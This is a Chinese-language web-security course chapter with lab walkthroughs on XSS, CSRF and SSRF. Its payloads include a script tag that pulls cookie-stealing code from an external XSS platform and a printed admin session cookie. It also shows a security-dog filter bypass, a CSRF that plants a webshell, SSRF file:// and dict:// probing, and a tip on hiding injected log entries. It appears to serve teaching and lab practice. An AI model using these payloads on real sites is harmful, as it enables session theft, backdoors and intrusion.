3.1xss原理与剖析

3.1.1.1 cookie介绍

Cookie一串字符串,是代表你身份的凭证。

3.1.1.2 cookie的作用

如果我们像登录后台,除了找到后台地址,账号密码登陆上去;还有一种方法就是获取到管理员的cookie,有了cookie不用管理员账号密码也能登陆管理员用户。

3.1.1.3 cookie的辨识

Cookie:

Sdfiagnga=dfmaifiaosfas=fdasfasfaplg[p=minonnykgbylnhiiniulnuhguiblbbk;sfsfasdfsfsf=mopmommminmmommihbbughhi;

cookie的个数是以分号’;’来确定的,每逢一’;’,就是一个cookie的结束。而不是等于号=,每有一个分号就是一个cookie。

第一个等号前边的值就是cookie的名字,后边是值,无论有几个等号’=’.

3.1.1.4 cookie在哪里?

Cookie存放在用户的浏览器里。

3.1.2 Xss介绍

3.1.2.1个人理解

XSS我个人的理解是HTML(代指前端所有语言)代码注入/前端注入。(又开始来注入了)(最大作用:窃取cookie)

注入攻击的本质,是把用户输入的数据当做代码执行。

这里有两个关键条件:

第一个是用户能够控制输入

第二个是原本程序要执行的代码,拼接了用户输入的数据

3.1.2.2 Xss原理

让用户输入的数据当作前端代码执行。

SQL注入拼接的是操作数据库的SQL语句。XSS拼接的是网页的HTML代码,一般而言我们是可以拼接出合适的HTML代码去执行恶意的JS语句(总结:xss就是拼接恶意的HTML)

3.1.2.3 Xss作用

盗取Cookie(用的最频繁的)

获取内网ip

获取浏览器保存的明文密码

截取网页屏幕

网页上的键盘记录

3.1.2.4 Xss类型

反射型XSS

你提交的数据成功的实现了XSS,但是仅仅是对你这次访问产生了影响,是非持久型攻击。需要社工,需要别人访问你这个由反射型xss的链接,而且他还是管理员,才能生效。(一般来说不进入数据库)

存储型XSS

你提交的数据成功的实现了XSS,存入了数据库,别人访问这个页面的时候就会自动触发

DOM型XSS

经过js处理之后产生的XSS。/通过修改页面的DOM节点形成的xss

*3.1.2.5 Xss的判断

1.我们与网站之间的交互是怎样的呢?

请求网站=>网站返回前端代码=>我们的浏览器根据前端代码执行=>渲染出好看的页面

用户输入的传参会被当作前端代码执行(有浏览器来执行)

2.那我们怎么判断网站是否存在XSS?

Xss主要就是调用js,业内一般把弹窗函数作为一个存在xss的认定。

就好比Sql注入用 and 1=1/and 1=2来判定一样。

如:alert(11)

恶意的js语句,那么浏览器他也会执行,浏览器获得前端代码,他会进行解析,渲染,js就会执行。

若果后台不做限制的话,我们就可以对他进行攻击。

文档截图

3.为什么通过弹窗判定?

因为xss攻击,如果需要达到真正的利用需要调用js,需要弹窗进行证明。

Cookie代表着你的身份,cookie是保存在浏览器里,但js可以调用浏览器,如果我在页面执行了js,就可以偷走cookie。

Cookie的限制:

1.cookie是有时效性的

2.同源性法则:

在a站上打了窃取cookie的代码,他能窃取的你在a站点的cookie。同源:host(域名或者ip)、端口、协议。

*3.1.2.6 Xss的操作
1.说了那么多,那我们如何打xss呢?

这里需要有一个条件,那么就是我们写入的代码要当作js执行,那么如何才能我们打入的代码当作js执行呢?

这里我们需要一些标识,来告诉浏览器我么那打入的是js语句,去告诉浏览器这不是html。

如16进制的标识是0x,html的标识是<html></html>标签,这里我们也又是三种出发js的方式。

2.触发js方法有3种

通过标签:

<script>alert(1)</script>(一般情况用弹窗整明xss存在/如果弹框危险,可以直接写入一个<script></script>或者<hr />标签,不让其弹窗,发现保存后写入的标签不见了,说明写入的内容被当作代码执行了,说明可能存在xss)

通过伪协议:

javascript:alert(1) (经典代码<a href=javascript:alert("sdffsfs")>test</a>)

伪协议触发xss,需要点击触发,如下图我们在留言框插入以下代码,提交之后点解途中红色的链接即可出发Xss。

文档截图

Javascript实际上是一个伪协议

伪协议不同于因特网上所真实存在的协议,如http://,https://,ftp://,

伪协议只有关联应用能够用,比如 php:// tencent://(关联QQ)

javascript:伪协议实际上声明了URL的主体是任意的javascript代码。

特定的情况,如果如下图在url栏中插入语句也可以弹窗则可以说明该网站存在xss。

javascript:alert(1)

<a href= javascript:alert(1)>ddddd</a>

文档截图

通过事件也是可以执行JS的:

在HTML中,有一些标签它拥有一些事件事件:当时间满足了就可以出发。

Eg:<img src=’a’ onerror=alert(1) //>

文档截图

以上情况之所以弹窗,是因为该标签加载的a图片根本不存在。如果它存在,他就会把图片加载出来。而不会弹出弹框。

文档截图

onerror=alert(1) 在加载文档或图像时发生错误。

该句的意思就是在加载文档或图像时发生错误然后会执行alert(1)

类似的事件有很多:

常用的有 onerror、onload(成功加载执行)oninput (有输入框,输入的时候触发)

以上三种方法1.用的最多。2.对条件要求比较苛刻3.目前比较好用。

例:

<img src=’a.jpg’>

我们可以将a.jpg进行修改。

a' onerror=alert(1) //>

当我们把语句填进去就会出现这样的情况。

<img src='a' onerror=alert(1) //’>这样我们再正常的交互页面上传了一张不存在的图片并弹出了框。

这里注释掉的 > 并没有什么影响,因为前端代码是和用户交互,所以容错性很高。

3.1.3 反射型xss靶场

当我们在搜索框中写入字符串,可见会出现在url传参中倘若这是一个xss,也是一个反射型xss因为我们只有访问对应传参的连接才会出发.

首先xss,我们要找输入点和输出点。

文档截图
1.第一处输出点

这里我们发现第一处输出点。

文档截图

这一处输出点我们可以看出是在两个<h2>标签之间,而不是在标签内,所以无论怎么写入语句都要闭合标签,而<>却被实体化了。这没戏。

当我们在上述位置写入的时,将代码写入了<h2></h2>标签中,而我们的三种方法都需要写入<>,而在该标签中的<>都被进行html实体化编码了,此时即使我们用第三种事件型的xss,也需要先闭合h2标签才能出发然而<>打不上去,所以我们这里无法打入xss。所以这里不满足条件。

2.第二处输出点
方法一:
文档截图

语法分析:当我们把语句打入第二句输出点时,我们发现他并没有对<>进行转义,但是我们的代码是写进了双引号内,所以我们要进行双引号的闭合.

当我们写入双引号对其进行闭合时我们就会发现,在这里双引号被转码了。如果我们逃逸不出来双引号,我们的语句也是无法生效的。

文档截图

于是我们想到,前面说过在前端代码中,容错率很高,于是有这么一个方法就是单引号可以闭合双引号.我们来试一试.

文档截图

于是当我们像上述方式写入单引号时,在框里我们写入的内容不见了,说明我们写如的语句当作html代码执行了.当我们查看元素的时候我们发现,单引号成功将双引号闭合,既然双引号已经闭合我就可以跟居语法写入xss语句.我们写入的语句被浏览器补全成了下列语句.

<input name="keyword" value="" ssss'="">

因为这是一个输入框,所以我们可以写入如下语句.

' oninput =alert('ss') //

单引号用来闭合,后续语句用来弹窗因为这是一个oninput的事件函数,所以当我们插入语句后再在框里写入东西,就会弹窗触发xss.

用来闭合 用来弹窗 用来注释

文档截图

于是这里我们弹窗出来了flag

文档截图

注:

这里我们之所以使用事件型是因为这里写<>还是会被转码。

所以我们写事件型,因为这是在一个标签内,而不是两个标签之间,所以弹窗语句不用使用<>.

文档截图
方法二:

我们同样方式也可以用点击事件等这样的js事件有很多很多,我们视情况而定比如下的这个点击事件.

' onclick =alert('ss') //

同样键入语句后点击即可触发xss.

文档截图
方法三:

我们还可以通过下面的payload自动获取焦点.直接弹窗。

' onfocus =alert('ss') autofocus// 来触发.

获取焦点 弹窗 自动获取焦点注释

文档截图
小贴士:

当弹窗函数alert()被拦截的时候我们可以尝试,尝试使用prompt(1)替代。效果如下。

"><script>prompt(1)</script>//

文档截图

3.2存储型xss

3.2.1 单双引号闭合解析

1. 闭合解析(一)

有很多情况,双引号的闭合,可以用单引号来完成,由下图可以看出,我在源码中写入的全是单引号,在浏览器的渲染下全部变成了双引号。

文档截图
文档截图
2. 闭合解析(二)

而且这里当我们在输入框中输入双引号”时,它还存在于是输入框中,说明它并没有被当作代码执行,这里我们去查看源代码发先他被转码了。

文档截图

而当我们输入单引号的时候我们发现单引号提交之后不见了,说明被当作代码执行了。

单引号提交之前源码是这样的:

文档截图

单引号提交之后源码是这样的:

文档截图

单引号提交之后我们可以看出提交框里的单引号’不见了,而且源码也变得不一样了。

3. 探测单双引号方法

1.就是打入单双引号进行尝试。

2.通过抓取数据包进行探测。

我们提交数据之后采取抓返回包的办法来进行判断。这里清晰可见返回数据包中的引号全是单引号,可见源码即是如此。

文档截图
文档截图
过滤规则

1.为什么只过滤双引号而不过滤单引号呢?

这就与php的一个自带的函数有关了,htmlspecialchar().

2.该函数的作用:

就是将特殊字符转化为html实体编码的。

因为php自带的该函数默认只过滤双引号。

我们除非进行特殊的设置才能既过滤双引号有过滤单引号,而有一些半吊子开发就着了道.

文档截图
无引号如何闭合

以上我们说的都是源码有引号的闭合情况,下面我们来说一下无引号的闭合情况。像下面这种情况value的地方没有单引号进行闭合。

文档截图

这里我们在输入框中输入单引号,出现乱码,可见闭合是成功的。

文档截图

我们在输入框里输入双引号,我们发现界面返回为空了,

可见插入也是有效果的。

文档截图

当我们用htmlspecial函数来进行限制,我们就会发现他确

实限制了双引号。

文档截图

这里我们用双引号闭合没有效果了,他已经被转码了。这是因为该函数默认过滤双引号。

文档截图

当然当我们使用单引号还是可以闭合的,因为在默认情况下,该函数并不过滤单引号。

文档截图

但是如果我们把下面这函数也加上去那么就开始过滤单引号了。因为当我们输入单引号提交以后,单引号还留在框内。也没有产生乱码,在审查元素时可见单引号被两个双引号括起来了。

文档截图
文档截图
文档截图

3.2.2持久型/存储型XSS简介

嵌入到web页面的恶意HTML会被存储到应用服务器端,简而言之就是会被存储到数据库,等用户在打开页面时,会继续执行恶意代码,能够持续的攻击用户;

但是不进入数据库也有可能存在存储型Xss。

这里我们要谨记不一定要有数据库交互才有xss,因为存储可能使缓存里,可能是txt文件,可能是日志文件,因为数据不一定存储在数据库里。

3.2.3持久型/存储型Xss挖掘

并不一定是只有框的的位置才能打xss,见框就插是一种方法,但不是唯一方法。

例如我们可以通过邮件,修改ip(登陆错误会写入日志的)等方法。

用户输入一般控制的很严格

但系统的获取一般都不是很严格。(系统通过$_SERVER获取XFF信息。)

前面一节课讲到了XSS,但是不清楚弹窗有什么用,在此强调下,弹窗只是证明那个地方存在xss,就和SQL注入单引号报错或者and 1=1;and 1=2一样。说明这里存在XSS漏洞。

文档截图

当我们插入语句使得界面出现了问题,则是说明这里可能存在xss。

3.2.4 XSS平台的使用

3.2.4.1使用XSS注意事项

因为XSS payload构建复杂,所以一般情况下我们都是使用XSS平台去获取cookie (https://xs.sb/xss.php?do=login) 建议隐私模式访问,天知道平台有没有恶意代码。

Xss攻击最害怕的就就是被过滤了,或者存在长度限制,比如如果限制字符数10个就很难打出xss了,所以这里存在极限字符。但是能用长的尽量不用短的,因为短的可能会受环境影响,长的比较稳定。

文档截图
文档截图
3.2.4.2 XSS平台使用流程
  1. 首先经过弹窗各种方法探测出存在XSS的地方。
  2. 无痕模式找到XSS平台创建项目,一般选取这几项:
  3. 文档截图

    根据需要找寻自己想要的语句,插入到存在xss漏洞的地方,等待管理员访问该页面打捞cookie。

    文档截图

    4.打捞到cookie进行登录。

    文档截图

    3.2.5 注意事项

    正常有可能修改信息插不了,就在注册插。

    打xss要注意闭合。<script>不能随便插。

    有些xss传参很隐蔽,建议抓包去搞

    FINE CMS(必须80端口/必须根目录访问)

    遇见cms类的站,我们首先要查询有没有通杀。

    见到通杀cms我们首先

    本地搭建 - > 本地复现 -> 线上实战

    3.2.6 靶场实战

    1.首先搭建好了finecms看看是否可以正常访问。

    文档截图

    Url传参发现可以打出弹框,则说明这里有可能存在xss。

    文档截图

    登录Xss平台寻找符合需求的xss语句。

    文档截图
    1. 网站传参处打入Xss语句.
    2. http://59.63.200.79:8082/index.php?c=mail&m=<sCRiPt sRC=//xss.pt/LfVH></sCrIpT>

      发现出现访问404的错误,但是其实这个错误已经写入了管理员日志。

      文档截图

      5.等待管理员访问后台日志界面。

      再回到XSS平台发现我们已经打到了管理员的cookie。Cookie如下。

      文档截图

      cookie : 8b0cba072045805256806b2b24239ded_ci_session=0n6oouv6kd9emokau453lqq0058nm5bu; member_cookie=d256812b83f3751716e6; member_uid=1; flag=zKaQ-01sdfDCo0; 8b0cba072045805256806b2b24239ded_ci_session=6o1t67bdb9lj6mkpfs58a3ljoqs0thja

      浏览器打入管理员cookie,可见管理员用户登陆成功。

      文档截图

      如果类似的错误日志的类型的xss打到了后台,我们可以疯狂访问错误页面把之前打的弹窗挤到后边的页去,这样当我们访问错误日志页面就不会看到这条错误日志的数据了。

      文档截图

      3.3 Dom型xss

      3.3.1 什么是dom型xss?

      DOM—based XSS漏洞是基于文档对象模型Document Object Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。

      原本没有xss,但是经过js处理后,出现了xss。

      经js处理后才产生的XSS叫做dom型xss。

      大部分dom型xss都是反射型的。

      比如:

      后端对<script>过滤,但是js中把+变化为p

      <script> => <scri+t>

      于是便产生了xss。

      3.3.2 document对象

      在学习dom型xss之前我们首先来了解一下document对象是什么? 每个载入浏览器的 HTML 文档都会成为 Document 对象。

      Document 对象使我们可以从脚本中对 HTML 页面素进行访问。

      Document有很多用法。

      文档截图

      比如:

      1. document.cookie 查看cookie
      2. 文档截图

        document.url 查看url

        文档截图

        3.document.domain 查看域名

        文档截图

        4.Document.referer 查看referrer

        文档截图

        5.document还有一个用法,就是可以用来判断伪静态。

        Document.lastmodified 如果是纯静态页面,我们看到的时间就是固定的。

        文档截图

        而像下图这种看着是html界面,当我们使用document.lastmodified查看到的时间确实变化的,可以看出这个界面就是个伪静态页面.

        文档截图

        静态页面

        静态页面是没有办法写入sql注入的。只有动态和伪静态可以.

        例如: /id/4)此类伪静态页面直接在后边写入语句即可。

        /id/4) and 1=1 -- +即可

        3.3.3 dom型Xss需注意

        Js代码常伴有一下函数,及情况。

        Document.write()输出内容

        innerHTML()改变内容

        eval()代码执行

        编码来编码去的,获取url的,获取锚点的。

        3.3.4 dom型靶场实操

        方法1(存储型)

        1.首先我们可以看出输入框很多我们尝试一下。

        文档截图

        2.这里我们发现一旦名称的地方插入Xss就会被拦截。

        文档截图

        3.我们打入/dom_xss/index.php/1.txt进行安全狗绕过。

        文档截图

        4.然后我们再插入xss,在颜色的地方打入弹窗语句就会成功弹窗。

        文档截图
        方法2(反射型)

        我们发现在界面中我们在url输入的东西会在下边被输出。

        文档截图
        文档截图

        因为xss主要就是寻找与输出点,我们在传参的地方打入弹窗语句<script>alert(1)</script>,然后我们来审查一下元素,这里我们发现界面出现了异常,应该是闭合不当造成的。

        文档截图

        这里我们来进行一下闭合,发现弹窗成功了。

        文档截图
        方法3(dom型+反射型)

        这里我们发现我们写入的东西会被执行一次document.write(),这里我们尝试一下别的方法,不用绕安全狗的,因为这个安全狗的版本比较老,新版的绕不过怎么办呢?

        首先这里对我们传参使用的document.write是js的对象方法,这里我们尝试一下编码,因为js有一种识别的编码叫做native编码。

        文档截图
        文档截图

        这里我们发现当我们使用native编码后,打入弹窗的时候安全狗并不拦截.说明这里存在dom型+反射型xss。

        文档截图
        文档截图

        这里我们Xss平台上搞一个打cookie的语句加上去。

        文档截图
        文档截图

        然后我们在xss平台等着打捞cookie吧。

        这里我们打捞到了flag。

        文档截图

        注:

        Js是在客户端运行的,不占用服务器资源。

        document.write() 他可以接受native编码值

        http://tool.oschina.net/encode?type=3

        如果有时候xss被拦截了,可以通过一些js的解码去绕过。

        3.4 Csrf-跨站请求伪造

        3.4.1 什么是csrf?

        CSRF(Cross-site request forgery)跨站请求伪造:也被称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

        3.4.2 csrf形成

        csrf漏洞的成因就是网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要是访问这个网站,都会默认你已经登录的状态。而在这个期间,攻击者发送了构造好的csrf脚本或包含csrf脚本的链接,可能会执行一些用户不想做的功能(比如是添加账号等)

        Cookie时效:

        访问网站不点击退出,其实cookie还保存在浏览器中

        再次访问浏览器会默认填充。

        A站你登陆了并没有退出,浏览器没有关闭,即使关闭了A站,当你过了很久,有问A站发现还是登陆状态。

        一般cookie时效(一次会话(默认情况下))。关闭了浏览器cookie才有劲额能失效.(这个一般由开发决定,如爱奇艺的cookie时效异常的久)

        3.4.3 csrf攻击流程

        Cookie存在浏览器中

        当我访问多个网站的时候,浏览器中的cookie也不止一个

        当你去访问多个网站的时候,其实发送数据包,浏览器会去判定你访问的是哪个网站。

        如:我登陆了A站后,访问B站(有一段js代码要浏览器去访问A),于是浏览器就访问了A站。当你访问了B站说明他信任B站

        **csrf可以和反射型xss组合使用,让csrf去访问反射型xss,从而得到cookie,这样会省去社工**

        要是存储型直接拿cookie了就不用了csrf了

        文档截图

        *注:存在漏洞的站点是A

        需要管理员配合去访问危险网站B(一般为黑客自己搭建的),才能奏效。

        3.4.5 Csrf和xss的区别

        Xss是盗取cookie.

        Csrf利用cookie ,浏览器会自动填充cookie进行访问数据.

        3.4.6 Csrf核心

        Csrf核心在于缺乏验证

        验证码是一个很好的防御机制,做任何操作都需要验证码的话,就可以完全杜绝csrf。

        开发为了安全,设计了Token是一个验证机制,每个请求表单里面都存在一个字段,token。

        Token是目前防御csrf的最好方法。

        EG:我们现在登录,网站的请求包里面的表单里有一个token,请求字段token:44546451115,这个字段个cookie里的token里的数据是一样的token=44546451115,只有当表单里的token和cookie里的相同,才允许访问。不同的话,就拒绝访问。(token一个在post表单中,一个在cookie里)

        因为我们自己伪造的请求包(如下图)里面是不可能含有token值,因为我们不可能在攻击时知道他的cookie中的token值是什么,因为csrf只是借用被攻击者的浏览器,借用被攻击者的cookie,而无法获得cookie。而且token值一般都是随机的。

        通过token的认证到底是不是用户本人想要发出的请求。

        3.4.7 Csrf的判定

        因为token是防护目前为止Csrf的主要手段,若是网站没有token我们可以首先假设该网站存在Csrf.

        判断是否存在cookie:

        看看表单里有没有和cookie里相同的数据字段。

        然后注册两个账号,然后抓A账号的修改资料的包制作成csrf攻击,退出A账号,登录B账号,触发cstf poc,如果他能修改B账号的资料,那就说明存在csrf。

        3.4.8 Csrf应用(一般csrf都藏在一个公网上的站上等待指定管理员的访问)

        一般应由于打后台,比如修改用户信息,生成管理员用户,但前提是要是一个cms,我们才可以本地搭建伪造Csrf请求包。

        (因为一般的cms都有相同的路径相同的传参值。)

        3.4.9 靶场实操

        如果目标攻击站点的cookie是长期存在的,那么即使我们没有访问该站也能执行csrf(如写马操作等)但是前提那个我们借用的浏览器里还有目标站点的cookie)

        1. 首先找到后台文件管理的界面。
        2. 文档截图
          1. 然后我们在后台写入一个一句话木马caidao.php,将其数据包抓取。然后将其做成csrf攻击脚本。
          2. 然后我们点击触发他。

            文档截图

            可见后门caidao.php已经生成。

            文档截图

            4.然后我们传参phpinfo();成功直接连菜刀就好。

            文档截图
            文档截图
            文档截图
            1. 这样由burp生成的csrf请求包比较委婉需要点击才能出发,我们同样可以模改70.html伪造一个点开自动生成的csrf包。
            2. 文档截图

              3.5 SSRF服务器请求伪造

              Xss跨站脚本攻击

              Ssrf服务器请求伪造

              Csrf跨站请求伪造

              3.5.1 什么是SSRF?

              服务器端请求伪造(SSRF)是指攻击者能够从易受攻击的Web应用程序发送精心设计的请求的对其他网站进行攻击。(利用一个可发起网络请求的服务当作跳板来攻击其他服务)

              攻击者能够利用目标帮助攻击者访问其他想要攻击的目标

              A让B帮忙访问C

              用一种简单的方法 -攻击者要求服务器为他访问URL

              文档截图

              在这里,example.com从其服务器再去访问http://google.com,假设他内网有许多内网服务器,我们是不是就可以访问到内网了。可以探测一些内网的信息~

              http://web.yeekit.com/

              http://fanyi.youdao.com

              3.5.2 案例

              像这种情况,我们本机访问ip.cn,ip为111.25.83.76,而我们用有道翻译去访问ip.cn,ip为123.125.40.36,由此可见这里第二次访问我们的请求是由有道翻译的服务器提出来的。

              文档截图
              文档截图

              那如果像上述这种情况,我们能直接说明有道翻译存在ssrf吗?显然不能。这里我们就要提到ssrf的界限是什么了。到底什么样才算ssrf呢?

              3.5.3 ssrf的划分界限

              1. 只要能发起网络请求就存在漏洞,因为有风险(比如我们用有道翻译去攻击其他网站)
              2. 只有能访问内网和本机才算存在ssrf。(主流的划分方法)
              3. 3.5.4 安全通病

                内网:外网强悍,内网脆弱,因为内网都是自己人在用。

                本机:本机比内网更脆弱。

                3.5.5 ssrf的危害

                1.那么ssrf为什么那么可怕呢?

                因为大多数防护设备都是防外不防内,上面我们也说了内网相比外网要脆弱很多,如果我们发现ssrf漏洞,那么我们可以直接对其进行内网探测,这样外部有再多的防护设备与我们而言都是虚设,因为他根本防不到我们,因为我们不走外网不走防火墙,直接利用ssrf漏洞进入了内网。

                文档截图
                2.ssrf的危害/作用
                文档截图

                例:

                如果内网中的某站点A,安装了漏洞cms,我们通过ssrf进入了内网,通杀直接撸掉了A,获取了权限。

                而且我们进入内网之后一般和很多站点防护软件,对访问127.0.0.1都没有防护。

                又或者我们以管理员的身份去登录或者访问,很多站点的自带防护也不会拦截。

                因为我们得到了系统的信任。

                其实安全问题的本质就是信任问题

                3.5.6 SSRF攻击

                假设我现在得到一个SSRF漏洞我可以干什么?

                1.http:// 协议

                攻击内网服务器(假设我内网服务器有存在远程代码执行,那么是不是直接访问一个地址就可以getshell,而且在127.0.0.1访问的时候有些防火墙机制不拦截)如果他内网有机器存在RCE漏洞?是不是就可以直接拿下了?

                文档截图
                文档截图
                2.file:// 协议

                这里我们不仅可以使用http协议,而且还可以使用file协议来进行一些文件的配置文件的读取。可以由此获取一些数据库账号密码

                文档截图
                dict:// 协议(本质上是一个字典协议)

                一般我们通过dict协议来多内网的端口做探测。

                Eg:/?url=dict://127.0.0.1:8080

                这里我们可以将这个get请求抓下来用burp进行一个爆破,来查看有哪个的端口时开放的。当然这只是初步探测不一定准确。

                https://www.uedbox.com/post/10801/

                https://www.uedbox.com/post/12328/

                3.5.7 如何挖掘SSRF漏洞

                1. 看功能(出现一些外部访问,翻译等功能的地方)
                2. 能够对外发起网络请求的地方,就可能存在SSRF漏洞。(POST或GET)

                  一般来说没有那么多端口需要映射出来的正常的安全策略,是越少映射出来越好,SSRF大多用探测内网

                  一般传参出现文件名,协议名,或者域名,ip的时候也要考虑

                  1. 看传参(传参中存在一些有后缀的文件,需要注意了/传参出现协议)传参里存在了文件后缀或者协议 那么这种地方我们一定要重视。
                  2. 出现协议说明这里90%能发起请求

                    出现文件后缀说明这里有可能发起请求 | 有可能任意文件下载 | 任意文件读取。

                    eg:http://example.com/index.php?page=about.php

                    我们思考他为什么有后缀?

                    这里有三种可能:

                    读取文件显示给用户

                    包含文件(文件包含)

                    下载文件

                    但是有很多ssrf防护通过 正则匹配,不允许我们上传内网地址。

                    如:我们访问127.0.0.1 说页面不存在,理论上讲127.0.0.1是不可能不存在的,只不过是他不让我们访问,进行了拦截。

                    文档截图

                    像这种127.0.0.1的访问拦截我们有没有方式绕过呢?

                    我们可以指定一个申请的域名,让他的ip指向127.0.0.1

                    子域名存在泛解析,当子域名没有被指向到哪个ip时,会被自动指定,有可能没被设定的子域名ip全指向了主站。

                    3.5.8 靶场演示

                    直接给了一个访问地址,你们传参就可以直接访问

                    文档截图

                    我们用dict协议探测端口会发现,开放着81端口

                    文档截图

                    这里不支持file协议,你们就别想着读文件什么的

                    然后直接http访问是个空白页面,别被骗了,其实flag在里面

                    文档截图

                    这里跑端口一定是问号后边传参的端口而不是网站请求头。

                    文档截图
                    文档截图